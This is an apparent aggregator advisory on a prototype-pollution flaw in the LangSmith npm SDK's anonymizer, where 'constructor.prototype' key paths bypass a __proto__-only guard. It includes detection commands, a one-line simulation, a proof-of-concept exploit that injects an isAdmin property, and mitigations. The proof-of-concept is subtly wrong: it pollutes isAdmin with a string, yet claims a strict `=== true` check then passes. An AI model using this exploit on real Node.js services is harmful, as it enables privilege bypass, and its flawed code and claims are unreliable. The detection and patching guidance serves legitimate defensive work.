Listen to this Post
The CVE arises from an incomplete prototype pollution fix in the vendored lodash `set()` utility inside LangSmith SDK (npm `langsmith` ≤0.5.17). The `baseAssignValue()` function guards only against the `__proto__` key but not against `constructor.prototype` traversal. When an attacker supplies a dotted path like "constructor.prototype.polluted", `castPath()` splits it into ["constructor","prototype","polluted"]. `baseSet()` then iterates: starting from the target object, it accesses `obj.constructor` (which points to Object), then Object.prototype, and finally calls assignValue(Object.prototype, "polluted", value). This triggers `baseAssignValue()` with key `”polluted”` — not `”__proto__”` — so the guard is bypassed, and `Object.prototype.polluted` is set directly. The `createAnonymizer()` API exposes this vector: `extractStringNodes()` builds dotted paths from user‑controlled keys, then `set()` writes back anonymized strings. Even though `createAnonymizer()` clones data via JSON.parse/stringify, the clone’s `wrapper.constructor` still resolves to the global `Object` constructor, allowing the pollution to escape the clone boundary. An attacker can inject a nested object like {"wrapper":{"constructor.prototype.isAdmin":"secret"}}; after anonymization, `({}).isAdmin` becomes polluted. This enables authentication bypass, RCE in template engines, DoS, or data exfiltration in any Node.js process using the affected SDK.
dailycve form:
Platform: LangSmith npm package
Version: <=0.5.17
Vulnerability: Prototype pollution via constructor
Severity: Medium CVSS 5.6
date: 2026-04-11
Prediction: Patched in 0.5.18
What Undercode Say:
Analytics
Check installed version
npm list langsmith
Detect vulnerable usage in code
grep -r "createAnonymizer" . --include=".js"
Simulate pollution in test environment
node -e "const { createAnonymizer } = require('langsmith/anonymizer'); const a = createAnonymizer([{pattern:/./, replace:'x'}]); a({p:{'constructor.prototype.polluted':1}}); console.log(global.polluted);"
how Exploit:
import { createAnonymizer } from "langsmith/anonymizer";
const anonymizer = createAnonymizer([{ pattern: /secret/, replace: "[bash]" }]);
const malicious = { wrapper: { "constructor.prototype.isAdmin": "secret-value" } };
anonymizer(malicious);
console.log(({}).isAdmin); // "[bash]" → pollution successful
// Authentication bypass example
function isAdmin(user) { return user.isAdmin === true; }
console.log(isAdmin({})); // true
Protection from this CVE
- Upgrade to `[email protected]` or higher immediately.
- If unable to upgrade, monkey‑patch `baseAssignValue` to also block `”constructor”` and `”prototype”` keys.
- Sanitize all user‑controlled object keys before passing to `createAnonymizer()` (reject paths containing `constructor` or
prototype). - Use `Object.freeze(Object.prototype)` as a temporary mitigation (may break some libraries).
Impact
- Authentication bypass – any `user.isAdmin` or similar privilege check becomes true for all objects.
- Remote code execution – polluted properties in template engines (Pug, EJS, Handlebars) can reach
eval()/Function()sinks. - Denial of service – overwriting
toString,valueOf, or `hasOwnProperty` crashes core logic. - Data exfiltration – injecting malicious getters on `Object.prototype` can leak sensitive data during serialization.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

